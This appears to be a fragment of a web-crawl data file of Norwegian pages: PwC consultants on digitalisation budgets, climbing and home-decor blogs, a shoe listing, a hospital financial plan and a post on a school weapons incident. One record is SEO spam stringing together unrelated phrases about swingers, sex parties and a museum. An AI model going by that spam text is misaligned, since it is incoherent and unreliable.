prosjekter under ordningen, og anser den som et viktig tiltak for \u00e5 legge til rette for nytenking og pr\u00f8ving og feiling i offentlig sektor - et av v\u00e5re fem l\u00e6ringspunkter fra Digitaliseringskonferansen.\n\nKommunal- og moderniseringsdepartementet videref\u00f8rer og utvider ogs\u00e5 Medfinansieringsordningen, som i 2018 har en foresl\u00e5tt ramme p\u00e5 120,9 millioner kroner. De sm\u00e5 og mellomstore digitaliseringsprosjektene sliter ofte med \u00e5 vinne frem i statsbudsjettprosessen, og denne ordningen bidrar til \u00e5 realisere flere av de mindre prosjektene som er samfunns\u00f8konomisk l\u00f8nnsomme. Ordningen stiller ogs\u00e5 tydelige krav til gevinstrealisering.\n\nVil forvaltningen med dette budsjettet klare \u00e5 holde nok trykk p\u00e5 digitalisering i offentlig sektor? Det gjenst\u00e5r \u00e5 se. Vellykket digitalisering handler grunnleggende sett om \u00e5 f\u00e5 opp innovasjonstakten og gjennomf\u00f8ringsevnen i virksomhetene. Det starter med at det skapes rom for fornying og digitalisering gjennom tildelingsbrevene, og at lederne gis tilstrekkelig handlingsrom. Vi krysser fingrene for at digitalisering kan bli en resultatvinner selv om den kan sies \u00e5 v\u00e6re en budsjettaper i \u00e5rets budsjett.\n\nInteresseomr\u00e5der: Digitalisering, Samfunn\n\n  - \n## Renate Enemark Bergersen\n\n\n\nJeg heter Renate Enemark Bergersen og er konsulent i PwC Consulting. Jeg har 14 \u00e5rs erfaring med strategi- og virksomhetsutvikling, b\u00e5de som konsulent og fast ansatt. Jeg brenner for \u00e5 brukerorientere og forbedre offentlig sektor til det beste for innbyggere og samfunn. og jobber med alt fra omfattende endringsprogrammer p\u00e5 sektorniv\u00e5 til brukerorientering av kommunale tjenester. Jeg har bist\u00e5tt store virksomheter som NAV og politiet med \u00e5 utarbeide kanal- og digitaliseringsstrategier, og har de siste par \u00e5rene jobbet med flere tjenestedesignprosjekter. P\u00e5 digitaliseringskonferansen presenterte jeg prosjektet Bedre tjeneste for luftkvalitetsdata. Du kan se presentasjonen her: https://vimeo.com/220954303  \nfirstname.lastname@example.org\n\n \n## Marte Andresen\n\n\n\nJeg heter Marte Andresen og er konsulent i PwC Consulting. Gjennom mitt arbeid i PwC dyrker jeg mitt engasjement for \u00e5 forbedre offentlig sektor. Hver dag bist\u00e5r vi offentlige kunder i omfattende omstilling og tverrsektorielle innovasjonssatsninger ved \u00e5 etterstrebe \u00e5 forst\u00e5 brukernes behov og hvordan linje og prosjekt kan underst\u00f8tte realisering av gevinster. Ved \u00e5 utarbeide form\u00e5lsrettede analyser har jeg bist\u00e5tt reformer i \u00e5 skape gode beslutningsgrunnlag og tilrettelegge for uttak av forventede gevinster. For tiden er krysningspunktet mellom offentlig forvaltning og disruptiv teknologisk og samfunnsmessig utvikling et tema som b\u00e5de utfordrer og fascinerer meg spesielt.  \n", "language": "no", "__index_level_0__": "f9c96e80-9cf0-4f91-a89b-ae8d8655954e"}
{"url": "http://villvoks.blogspot.com/2012_06_01_archive.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:47:53Z", "text": " \n\n## mandag 25. juni 2012\n\n### Tanipa\n\n|                                                                                                  |\n| :----------------------------------------------------------------------------------------------: |\n|  |\n|                                   M\u00e5l: H\u00f8yeste punkt i bildet.                                   |\n\nS\u00f8ndag var det tid for tur p\u00e5 Tanipa. \u00c5rets f\u00f8rste. Det er et av mine favorittm\u00e5l, for det er s\u00e5 fin tur oppover der. Og s\u00e5 er det litt klatregreier p\u00e5 slutten. Har h\u00f8rt om at enkelte har g\u00e5tt opp der uten sikring, men det er uaktuelt for min del. En ting var n\u00e5 turen opp, men man skal helst velberget ned igjen ogs\u00e5. Og jeg er ikke egentlig fan av luftige plasser, forrige gang var det s\u00e5vidt det gikk an \u00e5 f\u00e5 meg opp her.  \n  \n  \n\n\nUtsikt mot Steine og Vinje i B\u00f8, Gaukv\u00e6r\u00f8ya og Litl\u00f8y. Flatt hav.  \n  \n\n\n\nEn eller annen Salix-type? I hvert fall ganske s\u00f8t.  \n  \n\n\n\nSuspekte skyer dukket opp fra intet etterhvert. Mistenker dem for \u00e5 v\u00e6re skyld i at det er gr\u00e5tt i dag.  \n  \n\n\n\nM\u00f8ysalen dukket plutselig opp bak fjellene, etterhvert som vi kom litt opp i h\u00f8yden.  \n  \n\n\n\nFinns\u00e6terkollen man passerer p\u00e5 turen oppover har klippetang og mer med i s\u00e5nn Ti p\u00e5 topp-greie. S\u00e5 vi var slett ikke de eneste som var i fjellet her denne dagen. Men vi var antagelig de eneste som gikk opp p\u00e5 Tanipa.  \n\n\n\nOmriggingspause. Herfra gidder vi ikke b\u00e6re mer enn det vi m\u00e5 ha med oss. N\u00e5 er det bare siste biten igjen.  \n  \n\n\n\nMange fine blomster var det forresten oppover. Denne her sto ganske tett ved veien, i starten p\u00e5 turen.  \nBukkeblad har jeg funnet ut at den m\u00e5 hete.  \n  \n\n\n\nOg denne her fant vi masse av i h\u00f8yden, utrolig flott.  \n  \n\n\n\nUtsikt utover mot Lofoten og Floholman. Taen rett ned, der var det liv p\u00e5 stranda, p\u00e5 en s\u00e5 fin dag.  \n  \n\n\n\nF\u00f8rste klatring. Hans-Erik ser ut ei rute oppover.  \n  \n\n\n\nAndre taulengde, siste biten mot toppen. Min tur \u00e5 lede. Her ser vi hovedutfordringen som en svart prikk mot himmelen. Dem var det det mange av - edderkopper. Ganske store. Store nett. Eneste pinne jeg hadde var n\u00f8ttepirkeren, og den er ikke s\u00e5 veldig lang... Y\u00e6k\\!\\!\\!  \n  \n\n|  |\n|                                            Foto: Hans-Erik Bj\u00f8rgan                                            |\n\nHer st\u00e5r jeg midt i eddis-omr\u00e5det.  \n  \n\n\n\nMen det gikk bra, jeg fikk peivet vekk b\u00e5de eddiser og nett og kom meg opp. Her har jeg rappellert ned igjen ogs\u00e5, mens Hans-Erik er igjen opp\u00e5 toppen. Holder p\u00e5 \u00e5 rigge ned standplassen.  \n  \n\n\n\nHer var det n\u00e5 helt ok \u00e5 ha tau for \u00e5 komme seg greit ned.  \n  \n\n\n\nDa vi kom ned var det bedre lys p\u00e5 selve Tanipa. Her ser vi ruta oppover, man f\u00f8lger bare ryggen opp hele veien. Kjempefint terreng \u00e5 g\u00e5 i, god sti. Og man slipper \u00e5 g\u00e5 \"halve turen\" gjennom gran- eller bj\u00f8rkeskog.  \n  \n\n\n\nNei, man f\u00e5r nyte en flott utsikt hele veien, b\u00e5de n\u00e5r man g\u00e5r opp og ned. Her ser vi innover mot Eidsfjorden.\n\n       Ingen kommentarer:        \n\n Etiketter: Klatring, Vester\u00e5len \n## onsdag 20. juni 2012\n\n### Svellingen\n\n\n\nKystvaktb\u00e5ten som br\u00e5ket i flere timer utenfor huset mitt her den ligger, h\u00f8rtes over til Svellingen ogs\u00e5. Men ikke like godt, s\u00e5 det var bedre \u00e5 g\u00e5 en tur i marka.  \n  \n\n\n\nHer var det bl\u00e5 merking istedenfor den turlagsr\u00f8de noen plasser. Da blir jo plutselig bl\u00e5 jakker en fin kamuflasjefarge...  \n  \n\n\n\nToppen var imidlertid borte i skydotten. Men skilt viste vei. (Om det var her skiltet pekte den veien av to mulige som det IKKE var gangbart husker jeg ikke...)  \n  \n\n\n\nS\u00e5nn ser skydotten ut \"innenifra\". Den var ikke helt tett, det \"blafret\" liksom forbi. Ganske stilig egentlig. Lenger ned h\u00f8rtes suset i skogen. En pussig ting var at tr\u00e6rne liksom var i to etasjer. Var liksom bare to st\u00f8rrelser p\u00e5 dem, ikke litt av hvert.  \n  \n\n\n\nToppen. Her var det null utsikt. En liten prikk til h\u00f8yre i bildet der var levende.  \n  \n\n\n\nDen laget imidlertid ikke lyd f\u00f8r den ble skremt opp. Heiloen derimot, laget lyd hele det siste stykket. Surv\u00e6rslyd, ikke den s\u00f8te finv\u00e6rslyden. Mer som en tafatt tjeld. Men den er n\u00e5 kul uansett.  \n  \n\n\n\nP\u00e5 tur nedover, Sortlandsundet sett ovenfra. Jeg trodde \u00e6rlig talt at det var litt lenger. :) Dette er jo nesten som et eide, like mye som et sund. Bare at det er dypt, da.\n\n       Ingen kommentarer:        \n\n## mandag 18. juni 2012\n\n### Eddiser i drivhuset\n\n\n\nDet blir bare flere eddiser i drivhuset. De er noks\u00e5 like, s\u00e5 jeg mistenker at dette er en og samme klan.  \n  \n\n\n\nN\u00e5 har jeg helt mistet tr\u00e5den i hvem som heter hva.  \n  \n\n\n\nDet formelig tyter ut edderkopper overalt i drivhuset. Best \u00e5 dokumentere det i blogg, s\u00e5 ikke Husby eller S\u00f8rheim kommer og burer meg inn som paranoid Schizofren.  \n  \n\n\n\n\u00a0Denne har fanget seg noe.  \n  \n\n\n\nSynes strengt tatt det hadde holdt lenge med en eller to.  \n  \n\n\n\nLurer mest p\u00e5 hvor store de kommer til \u00e5 bli til slutt...\n\n       Ingen kommentarer:        \n\n## s\u00f8ndag 17. juni 2012\n\n### Klatring p\u00e5 Jeriko\n\n|  |\n|                                         Foto: Hans Erik Bj\u00f8rgan                                         |\n\nJeriko er et av klatrefeltene i Vester\u00e5len. Her er ikke boltede ruter, men boltede toppfester. Enkle ruter, ypperlig for nybegynnere \u00e5 \u00f8ve p\u00e5 topptau, eller naturlig sikring. Noen plasser litt l\u00f8st fjell for naturlig sikring, men det g\u00e5r. Her er jeg p\u00e5 tur opp den vanligste, kanskje enkleste ruta, p\u00e5 led med naturlig sikring.  \n  \n\n|                                                                                                         |\n| :-----------------------------------------------------------------------------------------------------: |\n|  |\n|                                         Foto: Hans Erik Bj\u00f8rgan                                         |\n\nIkke vanskelig klatring, men det er jo heller ikke n\u00f8dvendig n\u00e5r man \u00f8ver p\u00e5 \u00e5 plassere sikringene riktig, lage standplass og generelt taulagsrutiner.  \n  \n\n\n\nHer fra en mindre brukt rute, ganske s\u00e5 artig. Faktisk litt vanskelig en plass her, til og med. (Her g\u00e5r jeg som nummer to, f\u00f8rstemann har kommet opp til standplass som er utenfor bildet.)  \n  \n\n\n\nUtsikten fra Jeriko er det virkelig ikke noe \u00e5 si p\u00e5. Her er det flott\\!  \n  \n\n\n\nEnda en ny rute, her er det start fra samme plass som forrige, men g\u00e5r opp en litt annen vei. F\u00f8rste taulengde.  \n  \n\n\n\nHer er fortsettelsen p\u00e5 forrige bilde, til venstre ser man f\u00f8rstemann som har traversert litt til venstre.  \n  \n\n\n\nHer er traversen. Ok med klatresko, men litt sm\u00e5ekkel p\u00e5 slutten da det er ganske mosegrodd. Her burde vi kanskje ta med en b\u00f8rste neste gang. Det er en ting \u00e5 st\u00e5 p\u00e5 fast stein, men den derre mosen er ikke helt til \u00e5 stole p\u00e5.  \n  \n\n\n\nVidere opp, taulengde to. Her g\u00e5r det ganske rett opp, men masse gode tak b\u00e5de for hender og f\u00f8tter.  \n  \n\n\n\nMan blir ikke ensom p\u00e5 turen oppover heller. (Det var en del maur der ogs\u00e5.)  \n  \n\n\n\nTaulengde tre var noe lettere, min tur til \u00e5 g\u00e5 f\u00f8rst. Lett klatring, ikke riktig s\u00e5 lett sikring hele veien. S\u00e6rlig vanskelig med maur krypende innafor buksa\\!\\!\\! Nok om det, det gikk bra til slutt. :)  \n  \n\n\n\nTaulengde fire er vel vanskeligst p\u00e5 akkurat denne, men ogs\u00e5 mest sk\u00f8y. Her burde det ogs\u00e5 kostes litt jord og mose her og der, men ellers veldig bra\\!  \n  \n\n\n\nStraks oppe\\! Her kommer man ikke rett opp p\u00e5 festene, s\u00e5 det kan v\u00e6re like greit \u00e5 bare g\u00e5 bakover til et tre, n\u00e5r man skal feste.\n\n       2 kommentarer:        \n\n## torsdag 14. juni 2012\n\n### Blomstrer 14. juni 2012\n\n\n\nGammel pinselilje  \n  \n\n\nVillpeon (Paeonia anamala)  \n  \n### Midnattsol\n\n\n\nDet er s\u00e5 fint lys n\u00e5r det er midnattsol. Mykere, og litt mer s\u00e5nn r\u00f8dskj\u00e6r enn det er p\u00e5 dagen.  \n  \n\n\n\nNordover, Gavlfjorden midt i bildet.  \n  \n\n.jpg)\n\nB\u00e5t forbi i midnattsol.\n\n## onsdag 13. juni 2012\n\n### Blomstrer 13. juni 2012\n\n|  |\n|                                             Narciss                                              |\n\n|  |\n|                                         Enda en narciss                                          |\n\n  \n|  |\n|                                 Og en dobbeltdekker - narciss\\!                                  |\n\n", "language": "no", "__index_level_0__": "0b09ff41-4026-41c9-b2d0-af7140badfdf"}
{"url": "http://guescollectionfemme.com/jenter-9328/jenter-hostel-varmt-3342.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-24T23:28:10Z", "text": "BESTE The National Vietnam War Museum. All rights reserved \u00a9 Swingers Norge Powered by WordPress Theme by SEOS. Peru sex berlin sex parti Jasper Sawyers \u00a0 Vi kostar p\u00e5 oss stegjern, og fortsatte \u00e5 holde ryggen rett hele tiden. Jenter Utdrikningslag engelsk sexy vido Husk at det er ikke som i Norge, at vi har lys hele natta om sommeren.\n\nReiser du til Portugal i perioden april-oktober s\u00e5 vil du ogs\u00e5 se en god del vakre portugisiske jenter langs de flotte strendene. Lekin sab se pehle hand practice wagera chhor dain\u2026.\n", "language": "no", "__index_level_0__": "9c56d4e4-9b55-4c0d-b554-a90a7b43b62f"}
{"url": "http://naima.blogg.no/1490835852_spis_en_kakebit_fr_du_legger_deg.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:19:37Z", "text": "# Naima Ibrahim\n## SPIS EN KAKEBIT F\u0158R DU LEGGER DEG\n\n\n\nJeg kom p\u013a ideen om \u013a spise kake da jeg ble sulten. Jeg \"jobber\" jo en del p\u013a natta og da blir man sulten. Hvor rar er jeg? Alts\u013a, dette anbefales p\u013a det sterkeste. Jeg ble tr\u0159tt n\u013a etter \u013a ha spist opp kaken. So Do It\\!\u2665\n\nJeg har v\u0107rt s\u013a dum at jeg klarte \u013a legge meg meg i kveld klokken 18. Jeg m\u013atte jo vente litt og legge meg klokken 21 som er leggetiden for meg n\u013a fortida. Men det er ikke alltid dette funker for meg. Da jeg pr\u0159vde \u013a se p\u013a en film for \u013a ikke sovne, sovnet jeg bare s\u013ann rundt klokka 18 og v\u013aknet midt p\u013a natta. Alts\u013a klokka 12. Shit.\n\nDa satt jeg igang med \u013a se p\u013a YouTube videoer, planlegge videoer jeg skal lage, blogginnlegg jeg skal skrive osv.. Det er det jeg faktisk driver med akkurat n\u013a. Men skal legge meg om noen f\u013a minutter. Vi blogges i morgen:)\n\n\u2665Good night\u2665\n\n  - 30.03.2017 kl.03:04 i Blogg\n### 10 kommentarer\n\n\n\n#### Ida \u0158verland\n\n30.03.2017 kl.09:40\n\nwow haha, men kaketipset kan jeg leve med ;D\n\n\n\n#### Naima\n\n30.03.2017 kl.09:45\n\nIda \u0158verland: Hehe\\! Det er veldig bra, det??\n\n\n\n#### Bardeaux\n\n30.03.2017 kl.11:45\n\nHahahahaha. Det er bra \u013a finne noe som funker for deg, men det er vanlig at sukker gir energi som holder oss v\u013akne og ikke f\u013ar sove.\n\n\n\n#### Naima\n\n30.03.2017 kl.11:51\n\nBardeaux: Hehehe, da er dette ny forskning:)\n\n\n\n#### Bardeaux\n\n30.03.2017 kl.14:19\n\nNAIMA: Hahahahaha. Hvis jeg skal gjette, tipper jeg det er \"gammel forskning\". Jeg gjetter at n\u013ar du spiser kake, \u0159ker serotonin-niv\u013aet i hjernen. Selv om du f\u013ar mer energi og kanskje blir oppspilt, gj\u0159r kanskje mer serotonin deg glad og avslappet, s\u013a du sovner ;)\n\n\n\n#### Naima\n\n30.03.2017 kl.14:59\n\nBardeaux: Hehe, vi sier det s\u013ann:)\n\n\n\n#### liveterherlig93\n\n30.03.2017 kl.15:25\n\nhaha:)\n\n\n\n#### Camilla Heindorf\n\n30.03.2017 kl.19:29\n\n\\<3\n\n\n\n#### Naima\n\n31.03.2017 kl.00:08\n\nCamilla Heindorf: \\<3\n\n\n#### Naima\n\n31.03.2017 kl.22:22\n\n", "language": "no", "__index_level_0__": "86004193-0156-4d99-ba25-f29e2ce9153d"}
{"url": "https://www.junkyard.no/skor-tubular-runner-1", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:53:34Z", "text": "# Sko - Tubular Runner\n\nFarge: Light Solid Grey/Vintage White/Silver Metallic  \nadidas Tubular Runner med en sokkelignende konstruksjon.  \n  \nSneakers med design som bygger p\u00e5 arven fra adidas Tubular-l\u00f8pesko fra 1993 som n\u00e5 oppdateres til en moderne sneaker i streetstil.  \n  \n\\- Overdel i neopren med overdrag i skinn og syntetisk.  \n\\- Forsterkning rundt sn\u00f8ringen.  \n\\- St\u00f8tdempende melloms\u00e5le.  \n\\- P\u00e5sydd l\u00e6r rundt h\u00e6len i adidas ZX-stil.  \n  \nMateriale:  \nOverdel: Neoprene, Skinn, Syntetisk.  \nF\u00f4ring: Tekstil.  \nS\u00e5le: Gummi.  \n  \nProduktkode:  \nGr\u00e5: B25533.\n| 8         | 41 1/3 | 8    | 26   |\n| 8.5       | 42     | 8.5  | 26.5 |\n| 9         | 42 2/3 | 9    | 27   |\n| 9.5       | 43 1/3 | 9.5  | 27.5 |\n| 10        | 44     | 10   | 28   |\n| 10.5      | 44 2/3 | 10.5 | 28.5 |\n| 11        | 45 1/3 | 11   | 29   |\n\n", "language": "no", "__index_level_0__": "a82a3148-67e6-45ed-bc85-d7ad3f01c0f7"}
{"url": "http://docplayer.me/3391661-Sshf-okonomisk-langtidsplan-2016-2019.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00236.warc.gz", "warc_date": "2018-03-25T00:29:20Z", "text": "13 Tilgjengelighetsbasert finansiering? Fra sak Planforutsetninger \u00d8LP Finansiering basert p\u00e5 tilgjengelighetskriterier I tillegg til \u00e5 implementere den nasjonale KBF- l\u00f8sningen p\u00e5 regionalt niv\u00e5, vurderes det \u00e5 etablere en regional incentivordning knyttet til tilgjengelighetsparametrene fristbrudd og ventetider. Dette vil en ogs\u00e5 komme tilbale til i \u00e5rsbudsjettet for Fra sak Budsjett 2015 Tilgjengelighetsbasert finansiering, TBF I vedlegget til sak er det omtalt at en i \u00e5rsbudsjettet 2015 vil komme tilbake til en regional incentivordning knyttet til tilgjengelighetsparametere som fristbrudd og ventetider. Det arbeides med \u00e5 utforme en slik ordning for foretaksgruppen. Det legges ikke opp til at ordningen implementeres pr 1.januar 2015, blant annet begrunnet i at kvalitetsbasert finansiering vil tre i kraft p\u00e5 helseforetaksniv\u00e5 fra dette tidspunkt. Det tas sikte p\u00e5 ikrafttredelse av en TBF- ordning 1. januar 2016.\n\n26 \u00d8konomisk langtidsplan for SSHF Krav til resultat 2%, ca 125 mill.kr pr \u00e5r i perioden Aktivitetskrav p\u00e5 min 7% vekst i somatikk, og 2% vekst i psykiatri og TSB i 2016, samt st\u00f8rre vekst i psyk/tsb enn somatikk i hele perioden. Investeringer kun midler til de mest n\u00f8dvendige vedlikeholdsinvesteringer - etterslep MTU opprettholdes. Ca 150 mill kr pr \u00e5r til vedlikeholdsinvesteringer / mindre infrastrukturtiltak forutsatt resultat som nevnt over Kun midler til nytt PSA bygg kan p\u00e5regnes i perioden , inkl. l\u00e5n fra HOD med 70%. Hvilke konsekvenser har dette for SSHF hva gjelder drifts\u00f8konomien?\n\n27 Somatikk forutsetninger \u00d8LP Aktivitetsvekst tilsier n\u00e6r 0 vekst inneliggende pasienter og vekst i dag/poliklinikk i perioden. Effekt av K\u00d8H-sengene opprettet ila nedgang pasienter eller kun liggedager? DRG vekst blir i snitt \\< 1 % pr \u00e5r fremover, som i siste 3 \u00e5r Sykehusapotekene har estimert vekst i medikamentutgifter p\u00e5 i st\u00f8rrelsesorden 120 mill.kr for SSHF, hvorav h\u00f8ykostmedisiner utgj\u00f8r vel 60 mill.kr. SP-IKT har estimert en vekst i st\u00f8rrelsesorden 60 mill.kr. MTU og behandlingshjelpemidler vokser med ca 10 mill over perioden. Pasientreisekostnader vokser med volumet med ca 10 mill i perioden. Gjestepasienter ( OUS) vokser med folketallsveksten p\u00e5 1,2% \u00e5rlig. Hva blir utfordringsbildet for sykehusdriften for \u00f8vrig???\n\n39 Oppsummert \u00d8LP \u00d8kt produksjon med ca 7-8% i perioden. Folketallsveksten utgj\u00f8r ca 4,9% Resultatkrav i snitt 2% = 125 mill.kr pr \u00e5r. L\u00f8nnskostnader m\u00e5 forventes redusert fra 2015 niv\u00e5 med om lag 100 mill.kr, men avhengig av usikkerheten rundt finansiering og kostnad pensjoner budsjettniv\u00e5 er basis for de over nevnte m\u00e5ltall mao \u00e5rets utfordring m\u00e5 l\u00f8ses f\u00f8rst\\! Investeringsniv\u00e5 for perioden tilsier maks 150 mill/\u00e5r til vedlikeholdsinvesteringer dette betyr at etterslep MTU og bygningsvedlikehold ikke bedres i perioden. Det forventes kun regional finansiering til nytt PSA bygg i perioden.\n\n", "language": "no", "__index_level_0__": "6249a6b2-4f80-4a22-a247-a6ee4a01e658"}
{"url": "http://blogg.svartkrutt.net/tag/skole/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-24T23:04:24Z", "text": "## Med rett til \u00e5 stikke opp hodet\n\n# Korttenkte guttestreker\n\n4 svar\n\nTidligere i \u00e5r var jeg med i diskusjonen om hvilke orden- og atferdskategorier som skulle brukes i l\u00e6ringsplattformen jeg jobber med. En av kategoriene som kom med var \u00abBesittelse eller bruk av v\u00e5pen\u00bb \u2013 noe som selvsagt fikk l\u00e6rerne til \u00e5 dra litt p\u00e5 smileb\u00e5ndet. I en Twitter-melding p\u00e5pekte en l\u00e6rer at det manglet en kategori for \u00e5 ha glemt leksene, og at lekseglemming var et mer sannsynlig scenario enn v\u00e5penbruk. Han hadde selvsagt rett, men i dag skriver VG om en skole som kunne hatt god nytte av en slik anmerkning: En 14-\u00e5ring skal ha tatt med seg en to pistoler og ammunisjon p\u00e5 skolen etter at han angivelig hadde f\u00f8lt seg truet av en medelev.\n\nSom skytter f\u00e5r jeg en uggen f\u00f8lelse n\u00e5r slike ting skjer \u2013 hva ville konsekvensene blitt ved en eventuell skoleskyting? Politiet sier f\u00f8lgende til VG:\n\n*\u2013 Trolig er det snakk om en korttenkt guttestrek. Dette er to ungdommer som ikke har v\u00e6rt i kontakt med politiet tidligere, vi vil likevel f\u00f8lge saken opp videre utover uken  \n*\n\nSkremmende er det ogs\u00e5 \u00e5 lese rektors syn p\u00e5 saken (dersom hun er korrekt sitert av VG):\n\n*\u2013 Dette er likevel snakk om gutter som ikke har noen spesielle utfordringer utenom det vanlige, og jeg kan ikke se for meg at det ville resultert i noen reell tragedie, p\u00e5peker Gunnulfsen.*\n\nN\u00e5 er det vel ikke s\u00e5 spesielt at en 14-\u00e5ring ikke er kjenning av politiet. Jeg h\u00e5per denne rektorens holdninger blir sl\u00e5tt like hardt ned p\u00e5 som kidden som tok med v\u00e5pen p\u00e5 skolen. Slike ting b\u00f8r en ikke ta lett p\u00e5.\n\nDette innlegget ble skrevet i Media og merket Media, skole, 25. november, 2010 av \u00d8yvind F..\n\n", "language": "no", "__index_level_0__": "eee3b79f-892c-4c0c-ab43-454378294964"}
{"url": "https://vibekedesign.blogspot.com/2014/05/bla-grnne-favoritter.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:29:49Z", "text": "## s\u00f8ndag 11. mai 2014\n\n### Bl\u00e5 & gr\u00f8nne favoritter....\n\n\n\nHei alle sammen \\! I dag har jeg lyst til \u00e5 ta dere med p\u00e5 en reise i mine favorittfarger BL\u00c5TT & GR\u00d8NT\\! B\u00e5de i hjemmet og i min koselige lille butikk, VELKOMMEN\\!\\!   \n\n\n\nKj\u00f8kkenhyllene er fyllt opp av gamle og nye skatter i bl\u00e5tt og gr\u00f8nt...  \n\n\n\nLekre krus i herlig gr\u00f8nt fra Home & Cottage og de fine fyrstikk eskene(bak) har jeg tatt hjem fra butikken. Helt slutt p\u00e5 disse n\u00e5,men til uken ventes en ny ladning :)  \n\n\n\n  \n\n\nSkikkelig sommerf\u00f8lelse p\u00e5 kj\u00f8kkenbenken n\u00e5 .... med hvite pelargoner i slitne terakotta potter og gamle sm\u00e5 fat i bl\u00e5tt.  \n\n\n  \n\n\nALLTID plass til litt stemor ogs\u00e5,blir bare glad av disse s\u00f8te\" fjesa\" som pryder  \ndenne slitne sinkb\u00f8tta.  \n\n\n\n  \n\n\n\n\n\n\n  \n\n\nEn annen hyggelig dekorasjon er \u00e5 putte sugerr\u00f8r i et norgesglass, her en mix fra b\u00e5de Festfabrikken og S\u00f8strene Grene.  \n\n\n\nFargene dominerer ogs\u00e5 i butikken om dagen.....:) I g\u00e5r fikk vi nye skatter i gr\u00f8nt og herlig bl\u00e5tt...  \n\n\n\nMange har etterspurt disse gr\u00f8nne gamle skuffene og i g\u00e5r var jeg \u00e5 skaffet de siste av denne sorten. Fikk ogs\u00e5 inn en vakker rokokko stol som en god venn av meg har tryllet med.Hun har ogs\u00e5 laget de vakreste ryer i de skj\u00f8nneste farger. Damen er ganske s\u00e5 kreativ med stor sans for interi\u00f8r, hun er Kaja Berntz:) Heldige meg som f\u00e5r ha hennes ting i min lille butikk:)  \n\n\n\n\n\nDesverre kom ikke varene som avtalt i forrige uke,s\u00e5 da kommer de nok denne uken....MEN jammen fikk vi inn masse herlig i g\u00e5r etter flere turer p\u00e5 loppis og brukthandlere. Malerier har det ogs\u00e5 g\u00e5tt unna p\u00e5, s\u00e5 denne uken skal det produserer bilder igjen\\! \u00c5 n\u00e5 lengter jeg bare etter \u00e5 male store flotte sommerfugler igjen...i BL\u00c5TT & GR\u00d8NT\\!  \n  \nTAKK for alle fantstiske tilbakemeldinger her inn og p\u00e5 Facebook \\! Setter virkelig stor pris p\u00e5 alle og en hver :) \u00d8nsker dere en riktig s\u00e5 fin uke og kanskje det kommer litt inspirasjon til 17 mai bordet denne uken ogs\u00e5.....:)  \n  \n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0\u00a0 KLEM VIBEKE  \n\n  \n Lagt inn av Vibeke S\u00e6ther Svenningsen   19.19 s\u00f8ndag, mai 11, 2014        \n\n#### 12 kommentarer:\n\n1.  \n    \n    My Home Sweet Homemade11. mai 2014 kl. 04:44\n    \n    Beautiful pictures\\! Love all the shades of green, especially the mugs and straws\\!  \n    Have a lovely Sunday\\!  \n    Elly\n    \n2.  \n    \n    Anonym11. mai 2014 kl. 05:07\n    \n    Herlige bilder, flott blogg\\! M\u00e5 se \u00e5 f\u00e5 tatt meg en tur til butikken din. Servicet i tallerkenhyllen har jeg lyst p\u00e5..  \n    Mvh Riddersporen\n    \n3.  \n    \n    Hjem & Glede11. mai 2014 kl. 08:56\n    \n    Det er jo bare SKJ\u00d8NT p\u00e5 kj\u00f8kkenet ditt.......oj s\u00e5 nyyyyydelig\\!  \n    Har du malt kj\u00f8kkendisken eller er det ny plate?  \n    S\u00e5 lekkert med hvitt\\!  \n    De skj\u00f8nneste ting og blomster....en fryd for \u00f8yet;)  \n      \n    Veldig koselig \u00e5 f\u00e5 se bilder fra din sjarmerende vakre butikk som jeg VET at du koser deg med\\!  \n    Den stolen var helt nydelig\\!  \n    Her skinner solen i dag;))  \n    God ny uke til deg min kj\u00e6re venn.  \n      \n    Knus p\u00e5 dig s\u00f8de\\!\n    \n4.  \n    \n    Sylwia Gervais11. mai 2014 kl. 11:56\n    \n    I am in love\\!\\!\\! :-))))\n    \n5.  \n    \n    Jennys Vita Villervalla11. mai 2014 kl. 12:43\n    \n    Helt underbart\\! Jag \u00e4lskar gr\u00f6na nyanser\\!  \n    Ha en fin vecka\\!  \n    Kram  \n    Jenny\n    \n6.  \n    \n    Marikki11. mai 2014 kl. 12:53\n    \n    S\u00e5\u00e5\u00e5\u00e5 vackert\\!  \n    Ha en fin vecka\\!  \n    Du ar v\u00e4lkomna att komma bes\u00f6ka...;)  \n    Sorry, min svenska \u00e4r s\u00e5 d\u00e5ligt...  \n      \n    Kram, Marikki\n    \n7.  \n    \n    Anonym11. mai 2014 kl. 14:25\n    \n    Tuuuusen takk for titten vibeke :-)  \n    Som alltid , vakkert hjem - n\u00e5 ogs\u00e5 vakker butikk :-D  \n    Marianne A\n    \n8.  \n    \n    Butterfly 8)(8 Bungalow11. mai 2014 kl. 19:17\n    \n    Beautiful photos\\!\n    \n9.  \n    \n    ChiPPy\\!-SHaBBy\\!12. mai 2014 kl. 09:24\n    \n    Just L\\*O\\*V\\*E your \"Seafoam Greens & Blues\"... Your Vignettes are Magical \\~ Soooo much display talent\\!\\*\\!\\*\\! I most certainly would not mind washing dishes in your kitchen\\! Jeanine Burkhardt USA\n    \n10. \n    \n    tone12. mai 2014 kl. 23:42\n    \n    Tusen takk for en nydelig oppdatering:) Aldeles flotte farger\\!\\! Gleder meg s\u00e5 til jeg f\u00e5r anledning til \u00e5 komme til butikken din\\!\\!\\! Kos deg:) Vh Lisbeth\n    \n11. \n    \n   